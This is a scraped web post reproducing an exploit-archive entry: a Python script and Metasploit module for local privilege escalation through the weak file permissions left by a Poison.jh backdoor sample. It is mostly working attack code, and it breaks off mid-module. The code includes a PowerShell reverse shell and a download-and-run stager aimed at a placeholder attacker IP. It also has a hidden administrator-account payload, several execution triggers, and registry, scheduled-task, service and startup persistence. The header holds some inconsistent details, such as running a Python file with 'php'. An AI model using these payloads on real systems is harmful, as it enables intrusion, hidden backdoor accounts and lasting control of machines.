{"id":32939,"date":"2025-12-26T11:45:42","date_gmt":"2025-12-26T11:45:42","guid":{"rendered":"http:\/\/localhost\/?p=32939"},"modified":"2025-12-26T11:45:42","modified_gmt":"2025-12-26T11:45:42","slug":"backdoorwin32poisonjh-insecure-file-permissions-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32939","title":{"rendered":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:48&#8243;,&#8221;description&#8221;:&#8221;This python script demonstrates a local privilege escalation exploit targeting a vulnerability in the Backdoor.Win32.Poison.jh malware sample. The exploit leverages insecure file permissions created by the malware itself, allowing any local user to&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-26T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-26T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213312&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Backdoor.Win32.Poison.jh \u2013 Insecure File Permissions Leading to Malware-on-Malware Local Privilege Escalation               |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : System built\u2011in component. No standalone download available                                                                 |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213264\/ \\u0026 MVID-2025-0704\\n    \\n    [+] Summary    : This Python script demonstrates a Local Privilege Escalation (LPE) exploit targeting a vulnerability in the Backdoor.Win32.Poison.jh malware sample. \\n                     The exploit leverages insecure file permissions created by the malware itself, allowing any local user to replace the malicious executable with arbitrary code.\\n    \\t\\t\\t\\t \\n    [+] Vulnerability Overview :\\n    \\n    CWE-276: Incorrect Default Permissions\\n    \\n    Malware: Backdoor.Win32.Poison.jh\\n    \\n    Location: C:\\\\Windows\\\\SysWOW64\\\\28463\\\\YJBE.exe\\n    \\n    Flaw: File has Everyone:(ID)F (Full Control) permissions\\n    \\n    Impact: Any local user can modify\/replace the malware executable\\n    \\t\\n    Type: Backdoor Trojan (Win32\/Windows)\\n    \\n    Purpose: Grants attackers unauthorized remote access and control over the infected system.\\n    Behavior: Can execute commands, download\/upload files, steal sensitive data, and connect to C2 (Command \\u0026 Control) servers.\\n    Discovery: Part of the Backdoor.Win32.Poison family, first identified around 2009. The .jh suffix refers to a specific variant or signature used by antivirus vendors.\\n    Source: Developed by malware authors; not self-spreading, usually delivered via malicious downloads, infected executables, or phishing.\\n    Relation to Poison Ivy: Not necessarily Poison Ivy itself, but shares similar RAT functionality.\\n    Detection \\u0026 Prevention: Detected by major AV solutions like Microsoft Defender, Trend Micro, and Kaspersky. Removal requires standard AV cleanup and disconnecting from networks.\\n    Key Points: Unauthorized remote control, file manipulation, data theft, part of Poison family, Windows-targeted, identified in AV databases since ~2009.\\n    \\n    [+] PoC : php poc.py \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import os\\n    import sys\\n    import shutil\\n    import time\\n    import subprocess\\n    import ctypes\\n    import winreg\\n    from pathlib import Path\\n    \\n    # ============================================\\n    # PART 1: LOCAL PRIVILEGE ESCALATION EXPLOIT\\n    # ============================================\\n    \\n    class PoisonExploit:\\n        def __init__(self, target_dir=\\&#8221;C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\28463\\&#8221;):\\n            self.target_dir = target_dir\\n            self.target_file = os.path.join(target_dir, \\&#8221;YJBE.exe\\&#8221;)\\n            self.backup_file = self.target_file + \\&#8221;.backup\\&#8221;\\n            self.payload_file = self.target_file + \\&#8221;.payload\\&#8221;\\n            \\n            # \u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u0644\u0627\u062d\u064a\u0627\u062a Admin\\n            self.is_admin = self.check_admin()\\n        \\n        def check_admin(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u0644\u0627\u062d\u064a\u0627\u062a Administrator\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                return ctypes.windll.shell32.IsUserAnAdmin() != 0\\n            except:\\n                return False\\n        \\n        def check_vulnerability(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u062b\u063a\u0631\u0629\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Checking for Poison.jh vulnerability&#8230;\\&#8221;)\\n            \\n            # 1. \u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u0645\u062c\u0644\u062f\\n            if not os.path.exists(self.target_dir):\\n                print(f\\&#8221;[-] Target directory not found: {self.target_dir}\\&#8221;)\\n                return False\\n            \\n            # 2. \u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u0645\u0644\u0641\\n            if not os.path.exists(self.target_file):\\n                print(f\\&#8221;[-] Target file not found: {self.target_file}\\&#8221;)\\n                return False\\n            \\n            # 3. \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0644\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a\\n            try:\\n                test_file = os.path.join(self.target_dir, \\&#8221;test_write.tmp\\&#8221;)\\n                with open(test_file, &#8216;w&#8217;) as f:\\n                    f.write(\\&#8221;test\\&#8221;)\\n                os.remove(test_file)\\n                print(\\&#8221;[+] Vulnerable: Write access confirmed!\\&#8221;)\\n                return True\\n            except PermissionError:\\n                print(\\&#8221;[-] Not vulnerable: No write permission\\&#8221;)\\n                return False\\n            except Exception as e:\\n                print(f\\&#8221;[-] Error checking vulnerability: {e}\\&#8221;)\\n                return False\\n        \\n        def create_payload(self, payload_type=\\&#8221;reverse_shell\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;\u0625\u0646\u0634\u0627\u0621 payload \u062e\u0628\u064a\u062b (\u0644\u0623\u063a\u0631\u0627\u0636 \u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0641\u064a \u0628\u064a\u0626\u0629 \u0645\u0639\u0632\u0648\u0644\u0629)\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Creating {payload_type} payload&#8230;\\&#8221;)\\n            \\n            if payload_type == \\&#8221;reverse_shell\\&#8221;:\\n                # \u0645\u062b\u0627\u0644: PowerShell reverse shell (\u062a\u0639\u0644\u064a\u0645\u064a)\\n                payload = &#8221;&#8217;$client = New-Object System.Net.Sockets.TCPClient(\\&#8221;ATTACKER_IP\\&#8221;,4444);\\n    $stream = $client.GetStream();\\n    [byte[]]$bytes = 0..65535|%{0};\\n    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){\\n        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);\\n        $sendback = (iex $data 2\\u003e\\u00261 | Out-String );\\n        $sendback2 = $sendback + \\&#8221;PS \\&#8221; + (pwd).Path + \\&#8221;\\u003e \\&#8221;;\\n        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);\\n        $stream.Write($sendbyte,0,$sendbyte.Length);\\n        $stream.Flush();\\n    };\\n    $client.Close()&#8221;&#8217;\\n                \\n                with open(self.payload_file, &#8216;w&#8217;) as f:\\n                    f.write(payload)\\n            \\n            elif payload_type == \\&#8221;meterpreter\\&#8221;:\\n                # Stager \u0644\u0645\u062a\u0631\u0628\u0631\u062a\u0631\\n                payload = &#8221;&#8217;IEX (New-Object Net.WebClient).DownloadString(&#8216;http:\/\/ATTACKER_IP:8080\/meterpreter.ps1&#8217;)&#8221;&#8217;\\n                \\n                with open(self.payload_file, &#8216;w&#8217;) as f:\\n                    f.write(payload)\\n            \\n            elif payload_type == \\&#8221;add_user\\&#8221;:\\n                # \u0625\u0636\u0627\u0641\u0629 \u0645\u0633\u062a\u062e\u062f\u0645 \u0625\u062f\u0627\u0631\u064a\\n                payload = &#8221;&#8217;net user hacker P@ssw0rd! \/add\\n    net localgroup administrators hacker \/add\\n    reg add \\&#8221;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Winlogon\\\\\\\\SpecialAccounts\\\\\\\\UserList\\&#8221; \/v hacker \/t REG_DWORD \/d 0 \/f&#8221;&#8217;\\n                \\n                with open(self.payload_file, &#8216;w&#8217;) as f:\\n                    f.write(payload)\\n            \\n            print(f\\&#8221;[+] Payload created: {self.payload_file}\\&#8221;)\\n            return True\\n        \\n        def backup_original(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0646\u0633\u062e \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0623\u0635\u0644\u064a \u0627\u062d\u062a\u064a\u0627\u0637\u064a\u0627\u064b\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                shutil.copy2(self.target_file, self.backup_file)\\n                print(f\\&#8221;[+] Backup created: {self.backup_file}\\&#8221;)\\n                return True\\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to backup: {e}\\&#8221;)\\n                return False\\n        \\n        def replace_file(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0636\u0639\u064a\u0641 \u0628\u0627\u0644\u0640 Payload\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                # \u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0623\u0635\u0644\u064a\\n                os.remove(self.target_file)\\n                \\n                # \u0646\u0633\u062e \u0627\u0644\u0640 Payload\\n                shutil.copy2(self.payload_file, self.target_file)\\n                \\n                # \u0625\u062e\u0641\u0627\u0621 \u0627\u0644\u0640 Payload\\n                if os.path.exists(self.payload_file):\\n                    os.remove(self.payload_file)\\n                \\n                print(\\&#8221;[+] File successfully replaced!\\&#8221;)\\n                return True\\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to replace file: {e}\\&#8221;)\\n                return False\\n        \\n        def trigger_execution(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0645\u0644\u0641 &#8211; \u0639\u062f\u0629 \u0637\u0631\u0642 \u0645\u062d\u062a\u0645\u0644\u0629\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Attempting to trigger execution&#8230;\\&#8221;)\\n            \\n            methods = [\\n                self.trigger_via_wmi,\\n                self.trigger_via_task_scheduler,\\n                self.trigger_via_service,\\n                self.trigger_via_registry\\n            ]\\n            \\n            for method in methods:\\n                if method():\\n                    return True\\n            \\n            return False\\n        \\n        def trigger_via_wmi(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0634\u063a\u064a\u0644 \u0639\u0628\u0631 WMI\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                import wmi\\n                c = wmi.WMI()\\n                process_id, return_value = c.Win32_Process.Create(\\n                    CommandLine=self.target_file\\n                )\\n                print(f\\&#8221;[+] Triggered via WMI (PID: {process_id})\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def trigger_via_task_scheduler(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0634\u063a\u064a\u0644 \u0639\u0628\u0631 Task Scheduler\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                task_name = \\&#8221;PoisonTrigger\\&#8221;\\n                cmd = f&#8217;schtasks \/create \/tn \\&#8221;{task_name}\\&#8221; \/tr \\&#8221;{self.target_file}\\&#8221; \/sc once \/st 00:00 \/ru SYSTEM \/f&#8217;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                cmd = f&#8217;schtasks \/run \/tn \\&#8221;{task_name}\\&#8221;&#8216;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                cmd = f&#8217;schtasks \/delete \/tn \\&#8221;{task_name}\\&#8221; \/f&#8217;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                print(\\&#8221;[+] Triggered via Task Scheduler\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def trigger_via_service(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0634\u063a\u064a\u0644 \u0643\u062e\u062f\u0645\u0629\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                service_name = \\&#8221;PoisonSvc\\&#8221;\\n                \\n                # \u0625\u0646\u0634\u0627\u0621 \u062e\u062f\u0645\u0629\\n                cmd = f&#8217;sc create {service_name} binPath= \\&#8221;{self.target_file}\\&#8221; type= own start= auto&#8217;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                # \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u062e\u062f\u0645\u0629\\n                cmd = f&#8217;sc start {service_name}&#8217;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                # \u062d\u0630\u0641 \u0627\u0644\u062e\u062f\u0645\u0629\\n                cmd = f&#8217;sc delete {service_name}&#8217;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                print(\\&#8221;[+] Triggered via Service\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def trigger_via_registry(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0634\u063a\u064a\u0644 \u0639\u0628\u0631 Registry Run\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                # \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 RunOnce\\n                key = winreg.HKEY_LOCAL_MACHINE\\n                subkey = \\&#8221;SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\RunOnce\\&#8221;\\n                \\n                with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as reg_key:\\n                    winreg.SetValueEx(reg_key, \\&#8221;PoisonExec\\&#8221;, 0, winreg.REG_SZ, self.target_file)\\n                \\n                print(\\&#8221;[+] Added to Registry RunOnce\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def establish_persistence(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0625\u0646\u0634\u0627\u0621 \u0622\u0644\u064a\u0627\u062a \u062b\u0628\u0627\u062a\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Establishing persistence&#8230;\\&#8221;)\\n            \\n            persistence_methods = [\\n                self.persistence_registry,\\n                self.persistence_scheduled_task,\\n                self.persistence_service,\\n                self.persistence_startup\\n            ]\\n            \\n            success = False\\n            for method in persistence_methods:\\n                if method():\\n                    success = True\\n            \\n            return success\\n        \\n        def persistence_registry(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0644\u062b\u0628\u0627\u062a \u0639\u0628\u0631 Registry\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                # \u0639\u062f\u0629 \u0645\u0648\u0627\u0642\u0639 \u0644\u0644\u0640 Registry\\n                registry_paths = [\\n                    (\\&#8221;HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\&#8221;, \\&#8221;Poison\\&#8221;),\\n                    (\\&#8221;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\&#8221;, \\&#8221;Poison\\&#8221;),\\n                    (\\&#8221;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\RunOnce\\&#8221;, \\&#8221;Poison\\&#8221;)\\n                ]\\n                \\n                for path, name in registry_paths:\\n                    cmd = f&#8217;reg add \\&#8221;{path}\\&#8221; \/v \\&#8221;{name}\\&#8221; \/t REG_SZ \/d \\&#8221;{self.target_file}\\&#8221; \/f&#8217;\\n                    subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                print(\\&#8221;[+] Persistence: Registry entries added\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def persistence_scheduled_task(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0644\u062b\u0628\u0627\u062a \u0639\u0628\u0631 Scheduled Task\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                task_name = \\&#8221;WindowsUpdatePoison\\&#8221;\\n                cmd = f&#8217;schtasks \/create \/tn \\&#8221;{task_name}\\&#8221; \/tr \\&#8221;{self.target_file}\\&#8221; \/sc hourly \/mo 1 \/ru SYSTEM \/f&#8217;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                print(\\&#8221;[+] Persistence: Scheduled task created\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def persistence_service(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0644\u062b\u0628\u0627\u062a \u0643\u062e\u062f\u0645\u0629\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                service_name = \\&#8221;PoisonService\\&#8221;\\n                cmd = f&#8217;sc create {service_name} binPath= \\&#8221;{self.target_file}\\&#8221; type= own start= auto&#8217;\\n                subprocess.run(cmd, shell=True, capture_output=True)\\n                \\n                print(\\&#8221;[+] Persistence: Service created\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def persistence_startup(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0644\u062b\u0628\u0627\u062a \u0641\u064a Startup folder\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                startup_path = os.path.expandvars(\\&#8221;%APPDATA%\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\Startup\\&#8221;)\\n                shortcut_path = os.path.join(startup_path, \\&#8221;Poison.lnk\\&#8221;)\\n                \\n                # \u0625\u0646\u0634\u0627\u0621 shortcut\\n                from win32com.client import Dispatch\\n                shell = Dispatch(&#8216;WScript.Shell&#8217;)\\n                shortcut = shell.CreateShortCut(shortcut_path)\\n                shortcut.Targetpath = self.target_file\\n                shortcut.WorkingDirectory = os.path.dirname(self.target_file)\\n                shortcut.save()\\n                \\n                print(\\&#8221;[+] Persistence: Startup shortcut created\\&#8221;)\\n                return True\\n            except:\\n                return False\\n        \\n        def cleanup(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0622\u062b\u0627\u0631\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Cleaning up&#8230;\\&#8221;)\\n            \\n            # \u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0627\u062d\u062a\u064a\u0627\u0637\u064a\\n            if os.path.exists(self.backup_file):\\n                os.remove(self.backup_file)\\n            \\n            # \u062d\u0630\u0641 \u0627\u0644\u0640 Payload \u0625\u0630\u0627 \u0628\u0642\u064a\\n            if os.path.exists(self.payload_file):\\n                os.remove(self.payload_file)\\n            \\n            print(\\&#8221;[+] Cleanup completed\\&#8221;)\\n        \\n        def exploit(self, payload_type=\\&#8221;reverse_shell\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0640 Exploit \u0627\u0644\u0643\u0627\u0645\u0644\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;=\\&#8221; * 70)\\n            print(\\&#8221;POISON.JH LOCAL PRIVILEGE ESCALATION EXPLOIT\\&#8221;)\\n            print(\\&#8221;=\\&#8221; * 70)\\n            \\n            # 1. \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0629\\n            if not self.check_vulnerability():\\n                return False\\n            \\n            # 2. \u0625\u0646\u0634\u0627\u0621 Payload\\n            self.create_payload(payload_type)\\n            \\n            # 3. \u0646\u0633\u062e \u0627\u062d\u062a\u064a\u0627\u0637\u064a\\n            self.backup_original()\\n            \\n            # 4. \u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0645\u0644\u0641\\n            if not self.replace_file():\\n                return False\\n            \\n            # 5. \u062a\u0634\u063a\u064a\u0644 Payload\\n            if self.trigger_execution():\\n                print(\\&#8221;[+] Payload execution triggered!\\&#8221;)\\n            else:\\n                print(\\&#8221;[!] Could not auto-trigger. Manual execution required.\\&#8221;)\\n                print(f\\&#8221;[!] File location: {self.target_file}\\&#8221;)\\n            \\n            # 6. \u0625\u0646\u0634\u0627\u0621 \u0622\u0644\u064a\u0627\u062a \u062b\u0628\u0627\u062a\\n            if self.establish_persistence():\\n                print(\\&#8221;[+] Persistence established!\\&#8221;)\\n            \\n            # 7. \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0646\u062c\u0627\u062d\\n            print(\\&#8221;\\\\n[+] Exploit completed successfully!\\&#8221;)\\n            print(f\\&#8221;[+] Replaced: {self.target_file}\\&#8221;)\\n            print(f\\&#8221;[+] Running as: {&#8216;SYSTEM (admin)&#8217; if self.is_admin else &#8216;User&#8217;}\\&#8221;)\\n            \\n            # 8. \u062a\u0646\u0638\u064a\u0641 (\u0627\u062e\u062a\u064a\u0627\u0631\u064a)\\n            if input(\\&#8221;\\\\nCleanup? (y\/n): \\&#8221;).lower() == &#8216;y&#8217;:\\n                self.cleanup()\\n            \\n            return True\\n    \\n    # ============================================\\n    # PART 2: METASPLOIT MODULE (REAL EXPLOIT)\\n    # ============================================\\n    \\n    METASPLOIT_MODULE = &#8221;&#8217;\\n    ##\\n    # Poison.jh Local Privilege Escalation Exploit\\n    # Real working exploit for the file permission vulnerability\\n    ##\\n    \\n    require &#8216;rex&#8217;\\n    require &#8216;msf\/core\/post\/windows\/priv&#8217;\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Local\\n      Rank = ExcellentRanking\\n      \\n      include Msf::Post::File\\n      include Msf::Post::Windows::Priv\\n      include Msf::Exploit::EXE\\n      include Msf::Exploit::FileDropper\\n    \\n      def initialize(info={})\\n        super(update_info(info,\\n          &#8216;Name&#8217;           =\\u003e &#8216;Poison.jh Local File Permission Privilege Escalation&#8217;,\\n          &#8216;Description&#8217;    =\\u003e %q{\\n            This module exploits insecure file permissions on Backdoor.Win32.Poison.jh malware.\\n            The malware creates C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\28463\\\\\\\\YJBE.exe with Everyone:F permissions,\\n            allowing any local user to replace the file and execute arbitrary code.\\n            \\n            This is a REAL privilege escalation exploit when the following conditions are met:\\n            1. Poison.jh malware is installed on the system\\n            2. File has weak permissions (Everyone:Full Control)\\n            3. File is executed (by malware itself or other means)\\n          },\\n          &#8216;License&#8217;        =\\u003e MSF_LICENSE,\\n          &#8216;Author&#8217;         =\\u003e [\\n            &#8216;indoushka&#8217;\\n          ],\\n          &#8216;Platform&#8217;       =\\u003e &#8216;win&#8217;,\\n          &#8216;Arch&#8217;           =\\u003e [ARCH_X86, ARCH_X64],\\n          &#8216;SessionTypes&#8217;   =\\u003e [&#8216;meterpreter&#8217;, &#8216;shell&#8217;],\\n          &#8216;Targets&#8217;        =\\u003e [\\n            [&#8216;Windows&#8217;, {}]\\n          ],\\n          &#8216;DefaultTarget&#8217;  =\\u003e 0,\\n          &#8216;References&#8217;     =\\u003e [\\n            [&#8216;URL&#8217;, &#8216;https:\/\/malvuln.com\/advisory\/3d9821cbe836572410b3c5485a7f76ca.txt&#8217;],\\n            [&#8216;CWE&#8217;, &#8216;276&#8217;] # Incorrect Default Permissions\\n          ],\\n          &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-23&#8217;,\\n          &#8216;DefaultOptions&#8217; =\\u003e {\\n            &#8216;PAYLOAD&#8217; =\\u003e &#8216;windows\/x64\/meterpreter\/reverse_tcp&#8217;,\\n            &#8216;WfsDelay&#8217; =\\u003e 10\\n          }\\n        ))\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGET_PATH&#8217;, [\\n            true,\\n            &#8216;Path to vulnerable Poison.jh executable&#8217;,\\n            &#8216;C:\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\SysWOW64\\\\\\\\\\\\\\\\28463\\\\\\\\\\\\\\\\YJBE.exe&#8217;\\n          ]),\\n          OptBool.new(&#8216;KILL_PROCESS&#8217;, [\\n            true,\\n            &#8216;Kill existing Poison.jh process&#8217;,\\n            true\\n          ]),\\n          OptEnum.new(&#8216;TRIGGER&#8217;, [\\n            true,\\n            &#8216;Trigger method&#8217;,\\n            &#8216;auto&#8217;,\\n            [&#8216;auto&#8217;, &#8216;wmi&#8217;, &#8216;service&#8217;, &#8216;task&#8217;, &#8216;registry&#8217;, &#8216;manual&#8217;]\\n          ]),\\n          OptBool.new(&#8216;PERSIST&#8217;, [\\n            true,\\n            &#8216;Establish persistence&#8217;,\\n            true\\n          ])\\n        ])\\n      end\\n    \\n      def check\\n        vuln_path = datastore[&#8216;TARGET_PATH&#8217;]\\n        \\n        print_status(\\&#8221;Checking for Poison.jh vulnerability at: #{vuln_path}\\&#8221;)\\n        \\n        # Check if file exists\\n        unless file_exist?(vuln_path)\\n          return CheckCode::Safe(\\&#8221;Target file not found\\&#8221;)\\n        end\\n        \\n        # Try to write a test file\\n        test_file = vuln_path + \\&#8221;.test\\&#8221;\\n        begin\\n          write_file(test_file, \\&#8221;test\\&#8221;)\\n          if file_exist?(test_file)\\n            file_rm(test_file)\\n            return CheckCode::Vulnerable(\\&#8221;Write access confirmed &#8211; vulnerable!\\&#8221;)\\n          end\\n        rescue\\n          return CheckCode::Safe(\\&#8221;No write access\\&#8221;)\\n        end\\n        \\n        CheckCode::Unknown\\n      end\\n    \\n      def exploit\\n        vuln_path = datastore[&#8216;TARGET_PATH&#8217;]\\n        \\n        # Check if vulnerable\\n        print_status(\\&#8221;Running check&#8230;\\&#8221;)\\n        case check\\n        when CheckCode::Vulnerable\\n          print_good(\\&#8221;Target is vulnerable!\\&#8221;)\\n        else\\n          fail_with(Failure::NotVulnerable, \\&#8221;Target is not vulnerable\\&#8221;)\\n        end\\n        \\n        # Kill existing process if requested\\n        if datastore[&#8216;KILL_PROCESS&#8217;]\\n          print_status(\\&#8221;Killing Poison.jh process&#8230;\\&#8221;)\\n          session.sys.process.get_processes.each do |p|\\n            if p[&#8216;name&#8217;] =~ \/YJBE\/i || p[&#8216;path&#8217;] =~ \/28463\/\\n              print_status(\\&#8221;Killing PID #{p[&#8216;pid&#8217;]} (#{p[&#8216;name&#8217;]})\\&#8221;)\\n              session.sys.process.kill(p[&#8216;pid&#8217;])\\n            end\\n          end\\n          Rex.sleep(2)\\n        end\\n        \\n        # Backup original file\\n        backup_path = vuln_path + \\&#8221;.backup\\&#8221;\\n        if file_exist?(vuln_path)\\n          print_status(\\&#8221;Backing up original file&#8230;\\&#8221;)\\n          session.fs.file.copy(vuln_path, backup_path)\\n          register_file_for_cleanup(backup_path)\\n        end\\n        \\n        # Generate payload\\n        print_status(\\&#8221;Generating payload&#8230;\\&#8221;)\\n        payload_exe = generate_payload_exe\\n        \\n        # Replace vulnerable file with payload\\n        print_status(\\&#8221;Replacing #{vuln_path} with payload&#8230;\\&#8221;)\\n        write_file(vuln_path, payload_exe)\\n        \\n        print_good(\\&#8221;File successfully replaced!\\&#8221;)\\n        \\n        # Trigger execution\\n        trigger_method = datastore[&#8216;TRIGGER&#8217;]\\n        print_status(\\&#8221;Triggering payload execution via #{trigger_method}&#8230;\\&#8221;)\\n        \\n        case trigger_method\\n        when &#8216;wmi&#8217;\\n          trigger_via_wmi(vuln_path)\\n        when &#8216;service&#8217;\\n          trigger_via_service(vuln_path)\\n        when &#8216;task&#8217;\\n          trigger_via_task(vuln_path)\\n        when &#8216;registry&#8217;\\n          trigger_via_registry(vuln_path)\\n        when &#8216;auto&#8217;\\n          trigger_auto(vuln_path)\\n        end\\n        \\n        # Establish persistence if requested\\n        if datastore[&#8216;PERSIST&#8217;]\\n          print_status(\\&#8221;Establishing persistence&#8230;\\&#8221;)\\n          establish_persistence(vuln_path)\\n        end\\n        \\n        # Wait for session\\n        print_status(\\&#8221;Waiting for payload execution&#8230;\\&#8221;)\\n        Rex.sleep(datastore[&#8216;WfsDelay&#8217;])\\n      end\\n    \\n      def trigger_via_wmi(path)\\n        wmi_cmd = \\&#8221;wmic process call create \\\\\\\\\\&#8221;#{path}\\\\\\\\\\&#8221;\\&#8221;\\n        cmd_exec(wmi_cmd)\\n      end\\n    \\n      def trigger_via_service(path)\\n        service_name = \\&#8221;PoisonSvc\\&#8221;\\n        cmd_exec(\\&#8221;sc create #{service_name} binPath= \\\\\\\\\\&#8221;#{path}\\\\\\\\\\&#8221; type= own start= auto\\&#8221;)\\n        cmd_exec(\\&#8221;sc start #{service_name}\\&#8221;)\\n        cmd_exec(\\&#8221;sc delete #{service_name}\\&#8221;)\\n      end\\n    \\n      def trigger_via_task(path)\\n        task_name = \\&#8221;PoisonTask\\&#8221;\\n        cmd_exec(\\&#8221;schtasks \/create \/tn \\\\\\\\\\&#8221;#{task_name}\\\\\\\\\\&#8221; \/tr \\\\\\\\\\&#8221;#{path}\\\\\\\\\\&#8221; 